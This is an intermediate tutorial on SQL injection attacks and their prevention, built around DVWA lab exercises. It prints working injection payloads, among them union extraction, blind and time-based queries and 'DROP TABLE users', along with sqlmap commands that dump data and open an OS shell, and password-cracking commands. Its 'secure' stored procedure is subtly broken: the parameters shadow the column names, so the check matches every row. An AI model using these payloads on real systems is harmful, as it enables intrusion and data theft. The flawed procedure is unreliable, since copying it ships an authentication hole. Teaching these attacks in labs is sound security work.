SQL Injection Basics and Prevention

Tutorial Information
**Category:** Web Application Security **Difficulty:** Intermediate **Prerequisites:** Basic SQL knowledge, understanding of web applications **Estimated Time:** 2 hours
## đź“‹ Table of Contents

Introduction

SQL Injection (SQLi) is one of the oldest and most dangerous web application vulnerabilities. It occurs when user input is improperly sanitized and directly concatenated into SQL queries, allowing attackers to manipulate database operations, extract sensitive data, and even execute administrative operations.

This tutorial provides hands-on examples of SQL injection attacks and teaches defensive coding techniques to prevent them.

What You’ll Learn

By the end of this tutorial, you’ll be able to:

  • Understand how SQL injection vulnerabilities arise
  • Identify and exploit basic SQL injection flaws
  • Recognize different types of SQL injection attacks
  • Implement parameterized queries (prepared statements)
  • Use stored procedures and input validation
  • Detect and prevent SQL injection in your applications
  • Test applications for SQL injection vulnerabilities

Use Cases

This tutorial is valuable for:

  • Web application security testing
  • Secure coding practices
  • Code review and vulnerability assessment
  • Incident response for database breaches
  • DevSecOps integration
⚠️ Legal & Ethical Notice
All techniques described in this tutorial should only be used on systems you own or have explicit permission to test. Unauthorized testing is illegal and unethical. Use these skills responsibly and in accordance with applicable laws and regulations. The author and website owners are not responsible for any misuse of this information.

Prerequisites

Important
Before starting this tutorial, ensure you have the following:
### Knowledge Prerequisites
  • Basic understanding of SQL syntax (SELECT, INSERT, UPDATE, DELETE)
  • Familiarity with web applications and HTTP requests
  • Understanding of server-side programming (PHP, Java, Python, etc.)
  • Knowledge of relational databases (MySQL, PostgreSQL, SQL Server)

Tool Prerequisites

Required Tools
- [SQLi-Lab](https://github.com/sunnyneharekar/sqlivuln) (vulnerable web application) - [Burp Suite Community](https://portswigger.net/burp/communitydownload) - [SQLMap](https://sqlmap.org/) (automated SQLi testing) - [DVWA](https://github.com/digininja/DVWA) (Damn Vulnerable Web App) - Database client (MySQL, PostgreSQL, or SQLite)
### System Prerequisites
  • Web server (Apache/Nginx) with PHP support
  • Database server (MySQL 5.7+ or equivalent)
  • Browser with developer tools
  • Terminal access for running tools

Step-by-Step Guide

Step 1: Understanding SQL Injection

SQL injection occurs when an attacker can insert malicious SQL code into application queries through user input.

Vulnerable Code Pattern:

<?php
// Vulnerable: Direct concatenation
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($connection, $query);
?>

Attack Example:

Username: admin' --
Password: anything

This transforms the query into:

SELECT * FROM users WHERE username='admin' --' AND password='anything'

The -- comments out the password check!

Step 2: Setting Up a Test Environment

Using Docker (Recommended):

# Pull SQLi-Lab docker image
docker pull ismisepaul/securityshepherd

# Or install manually
git clone https://github.com/sunnyneharekar/sqlivuln.git
cd sqlivuln
./install.sh

# Start Apache and MySQL
sudo systemctl start apache2
sudo systemctl start mysql

DVWA Setup:

# Install DVWA
git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa
chmod -R 755 /var/www/html/dvwa

# Configure database
mysql -u root -p
CREATE DATABASE dvwa;
CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'localhost';

Step 3: Basic SQL Injection Types

Type 1: Union-Based SQL Injection

The most common type, allowing data extraction using UNION SELECT.

// Vulnerable search query
$search = $_GET['search'];
$query = "SELECT * FROM products WHERE name LIKE '%$search%'";

Exploitation Steps:

  1. Identify column count:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
# Keep going until you get an error
  1. Extract data using UNION:
' UNION SELECT 1,2,3--
' UNION SELECT username,password,3 FROM users--
' UNION SELECT null,username,password FROM users--
  1. Database enumeration:
' UNION SELECT version(),user(),database()--
' UNION SELECT table_name,column_name,1 FROM information_schema.columns WHERE table_schema='dvwa'--

Type 2: Boolean-Based Blind SQL Injection

When there’s no visible output, use true/false conditions.

// No output displayed, only True/False results
$query = "SELECT * FROM users WHERE id='$id'";
$result = mysqli_query($connection, $query);
if(mysqli_num_rows($result) > 0) {
    echo "User exists";
}

Exploitation:

# True condition (user exists)
id=1 AND 1=1

# False condition (user doesn't exist)
id=1 AND 1=2

# Extract data character by character
id=1 AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'
id=1 AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='b'

Automated with SQLMap:

sqlmap -u "http://target.com/page.php?id=1" --batch --crawl=2

Type 3: Time-Based Blind SQL Injection

When there’s no output, use time delays to infer information.

// Different response times for true/false
$query = "SELECT * FROM users WHERE username='$username'";

Exploitation:

# Force delay if condition is true
id=1 AND IF(1=1,SLEEP(5),0)

# Extract data using delays
id=1 AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)

Type 4: Error-Based SQL Injection

Force database to reveal information through error messages.

// Error messages revealed
$query = "SELECT * FROM users WHERE id=$id";

Exploitation:

# MySQL error-based
id=1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT password FROM users WHERE username='admin'),0x7e))

# PostgreSQL error-based
id=1 AND (SELECT CAST(password AS numeric) FROM users LIMIT 1)=1

Step 4: Manual Exploitation Example

Let’s exploit DVWA SQL Injection (Medium level):

  1. Send request to Burp Repeater:
POST /dvwa/vulnerabilities/sqli/ HTTP/1.1
Host: localhost
Cookie: security=medium; PHPSESSID=abc123

id=1&Submit=Submit
  1. Test for injection:
id=1'&Submit=Submit
# Expected: SQL error (or no result)
  1. Identify column count:
id=1' ORDER BY 2-- &Submit=Submit
id=1' ORDER BY 3-- &Submit=Submit
# When you get error, you've found the column count
  1. Extract database information:
id=1' UNION SELECT 1,2-- &Submit=Submit
id=1' UNION SELECT user(),database(),version()-- &Submit=Submit
  1. Extract users table:
id=1' UNION SELECT user,password FROM users-- &Submit=Submit
  1. Crack passwords:
# Using hashcat or john the ripper
hashcat -a 0 -m 0 hash.txt /usr/share/wordlists/rockyou.txt
john hash.txt

Step 5: Automated Exploitation with SQLMap

Basic scan:

sqlmap -u "http://dvwa.local/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=abc"

Comprehensive scan:

sqlmap -u "http://dvwa.local/vulnerabilities/sqli/" \
       --data="id=1&Submit=Submit" \
       --cookie="security=medium; PHPSESSID=abc" \
       --batch \
       --crawl=3 \
       --level=5 \
       --risk=3 \
       --threads=3 \
       --dbms=mysql

Extract data:

sqlmap -u "http://dvwa.local/vulnerabilities/sqli/" \
       --data="id=1&Submit=Submit" \
       --cookie="security=medium; PHPSESSID=abc" \
       --tables \
       --columns \
       --dump

OS Shell access:

sqlmap -u "http://dvwa.local/vulnerabilities/sqli/" \
       --data="id=1&Submit=Submit" \
       --cookie="security=medium; PHPSESSID=abc" \
       --os-shell

Step 6: SQL Injection in Different Contexts

Insert Statements

// Vulnerable registration
$username = $_POST['username'];
$email = $_POST['email'];
$query = "INSERT INTO users (username, email) VALUES ('$username', '$email')";

Exploitation:

username: admin', 'admin@evil.com'), ('hacker', 'hacker@evil.com')--

Update Statements

// Vulnerable profile update
$name = $_POST['name'];
$query = "UPDATE users SET name='$name' WHERE id=1";

Exploitation:

name: John', role='admin' WHERE id=1--

Delete Statements

// Vulnerable comment deletion
$id = $_GET['id'];
$query = "DELETE FROM comments WHERE id=$id";

Exploitation:

id=1; DROP TABLE users--

Step 7: Prevention Techniques

Method 1: Prepared Statements (Parameterized Queries)

PHP with PDO:

<?php
// Secure approach
$username = $_POST['username'];
$password = $_POST['password'];

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
$result = $stmt->fetch();
?>

Python with SQLite:

# Secure approach
username = request.form['username']
password = request.form['password']

cursor = db.execute(
    "SELECT * FROM users WHERE username = ? AND password = ?",
    (username, password)
)

Java with PreparedStatement:

// Secure approach
String username = request.getParameter("username");
String password = request.getParameter("password");

String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pst = connection.prepareStatement(query);
pst.setString(1, username);
pst.setString(2, password);
ResultSet rs = pst.executeQuery();

Method 2: Stored Procedures

-- Create stored procedure
DELIMITER //
CREATE PROCEDURE GetUser(IN username VARCHAR(50), IN password VARCHAR(50))
BEGIN
    SELECT * FROM users WHERE username = username AND password = password;
END //
DELIMITER ;

// Call stored procedure
$stmt = $pdo->prepare("CALL GetUser(?, ?)");
$stmt->execute([$username, $password]);

Method 3: Input Validation

<?php
// Whitelist validation
function validateUsername($username) {
    // Only allow alphanumeric and underscores, 3-20 characters
    if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
        die("Invalid username format");
    }
    return $username;
}

$username = validateUsername($_POST['username']);

// Additional escaping (not sufficient alone)
$username = mysqli_real_escape_string($connection, $username);
?>

Method 4: Escaping (Least Preferred)

<?php
// Only use as secondary defense
$username = mysqli_real_escape_string($connection, $_POST['username']);
$query = "SELECT * FROM users WHERE username = '$username'";
?>

Step 8: Advanced Prevention Techniques

Principle of Least Privilege

-- Create limited database user
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strongpassword';
GRANT SELECT, INSERT, UPDATE ON webapp_db.* TO 'webapp'@'localhost';
-- No DROP, ALTER, or file operations

Web Application Firewall (WAF)

# ModSecurity rule example
SecRule REQUEST_URI "@detectSQLi" \
  "id:1000,\
  phase:2,\
  deny,\
  msg:'SQL Injection Attack Detected'"

Database Activity Monitoring

-- Enable query logging
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/log/mysql/mysql.log';

Step 9: Testing for SQL Injection

Manual Testing Checklist:

  1. Test all input fields (GET, POST, headers, cookies)
  2. Test special characters: `’ " ; ) – /* */ @@
  3. Test different SQL keywords: UNION, SELECT, INSERT, DROP
  4. Test time-based attacks: SLEEP(), WAITFOR DELAY
  5. Test boolean conditions: AND 1=1, OR 1=1
  6. Test for error-based injection

Automated Testing:

# SQLMap scan
sqlmap -u "http://target.com/page.php?param=value" --batch

# Burp Suite Scanner
# Enable active scanner for SQLi vulnerabilities

# OWASP ZAP
# Scan for SQL injection vulnerabilities

Code Review Checklist:

âś“ Are queries using prepared statements? âś“ Is input being validated? âś“ Are error messages sanitized? âś“ Is least privilege enforced? âś“ Is sensitive data encrypted? âś“ Are logs being monitored?

Best Practices

Best Practices
Follow these best practices to prevent SQL injection:
1. **Always Use Prepared Statements** - Never concatenate user input into SQL queries - Use parameterized queries for all dynamic SQL - Pass user input as parameters, not as part of the query string

  1. Validate and Sanitize Input

    • Use whitelist validation (allow only expected characters)
    • Apply input filters for special characters
    • Reject invalid input, don’t try to “fix” it

  2. Implement Defense in Depth

    • Use prepared statements as primary defense
    • Add input validation as secondary layer
    • Use least privilege for database users
    • Implement WAF for additional protection

  3. Error Handling

    • Never display database errors to users
    • Log errors securely on the server
    • Return generic error messages to clients

  4. Regular Testing

    • Include SQLi tests in security assessments
    • Use automated scanning tools regularly
    • Perform code reviews focusing on database queries

Common Mistakes

Common Mistakes to Avoid
### Mistake 1: Using String Concatenation

Incorrect:

$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "'";

Correct:

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['username']]);

Mistake 2: Relying Only on Input Escaping

Explanation: Escaping is not sufficient as the primary defense because:

  • Different contexts need different escaping rules
  • Escaping can be bypassed with encoding
  • Prepared statements are more reliable

Correct Approach:

// Use prepared statements + validation
if (validateInput($_POST['username'])) {
    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
    $stmt->execute([$_POST['username']]);
}

Mistake 3: Over-Permissive Database Users

Explanation: If the web application user has excessive privileges, a successful SQL injection can lead to database destruction or data theft.

Correct Approach:

-- Create least privilege user
CREATE USER 'webapp'@'localhost';
GRANT SELECT, INSERT, UPDATE ON webapp_db.users TO 'webapp'@'localhost';
-- NO DROP, ALTER, FILE, SUPER privileges

Troubleshooting

Frequently Asked Questions
### Q: What's the difference between parameterized queries and prepared statements?

A: They are the same thing. “Prepared statement” is the SQL term, and “parameterized query” is the programming term for the same concept.

Q: Can I use stored procedures instead of prepared statements?

A: Yes, but with caveats:

  • Input validation is still needed
  • Dynamic SQL in stored procedures is still vulnerable
  • Ensure stored procedures themselves don’t use dynamic SQL

Q: Do ORMs (Object-Relational Mappers) prevent SQL injection?

A: Mostly yes, if used correctly:

  • Most ORMs use prepared statements automatically
  • Still vulnerable if using raw queries or string concatenation
  • Be careful with raw() methods or query builders

Q: What about NoSQL databases?

A: NoSQL databases have different injection risks:

  • MongoDB: Operator injection ($ne, $where, etc.)
  • Still need input validation and parameterized queries
  • Each database has specific injection techniques

Hands-On Exercise

Practice Exercise
Practice finding and fixing SQL injection vulnerabilities:
### Exercise Setup
  1. Install DVWA:
git clone https://github.com/digininja/DVWA.git
  1. Configure database:
mysql -u root -p
CREATE DATABASE dvwa;
CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'password';
GRANT ALL ON dvwa.* TO 'dvwa'@'localhost';

Exercise Tasks

Task 1: Detection

  • Use Burp Suite to find SQL injection in DVWA
  • Classify the type of SQL injection found

Task 2: Exploitation

  • Extract database version and user
  • List all tables in the database
  • Extract usernames and passwords from users table

Task 3: Prevention

  • Fix the vulnerable code using prepared statements
  • Add input validation
  • Test that the fix works

Expected Results

# SQLMap output example
[INFO] testing connection to the target URL
[INFO] testing if the target is protected by WAF/IPS
[INFO] testing if parameter 'id' is dynamic
[INFO] parameter 'id' appears to be dynamic
[INFO] heuristic (basic) test shows that parameter 'id' might be injectable
[INFO] testing for SQL injection on parameter 'id'
[INFO] testing UNION query (information_schema) on parameter 'id'
[INFO] parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[INFO] testing MySQL >= 5.0 boolean-based blind - Parameter replace
[INFO] parameter 'id' is 'MySQL >= 5.0 boolean-based blind - Parameter replace (original query)' injectable

[INFO] testing MySQL >= 5.0 UNION query (information_schema) - WHERE or HAVING clause
[INFO] parameter 'id' is 'MySQL >= 5.0 UNION query (information_schema) - WHERE or HAVING clause' injectable

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8735=8735 AND 'x'='x&Submit=Submit
    Type: UNION query
    Title: MySQL >= 5.0 UNION query (information_schema) - WHERE or HAVING clause
    Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7176787671,0x615a5370454e6f68497977,0x7176626271),NULL-- x&Submit=Submit

Conclusion

SQL injection remains a critical vulnerability in web applications. Understanding both attack and defense techniques is essential for security professionals.

Next Steps

  1. Practice on Hack The Box machines (Lame, Legacy, Blue)
  2. Study NoSQL injection techniques (MongoDB, CouchDB)
  3. Learn about second-order SQL injection (stored and executed later)
  4. Explore LDAP injection and XML injection
  5. Integrate security testing into CI/CD pipelines

Additional Resources

Key Takeaways

  • SQL injection is still one of the most critical web vulnerabilities
  • Prepared statements are the most effective defense
  • Never trust user input, always validate and sanitize
  • Use least privilege for database accounts
  • Test regularly with both manual and automated techniques

Tags

{{tool “sql injection”}} {{tool “secure coding”}} {{tool “database security”}} {{tool “penetration testing”}} {{tool “owasp”}}

Happy learning! Stay curious and keep practicing.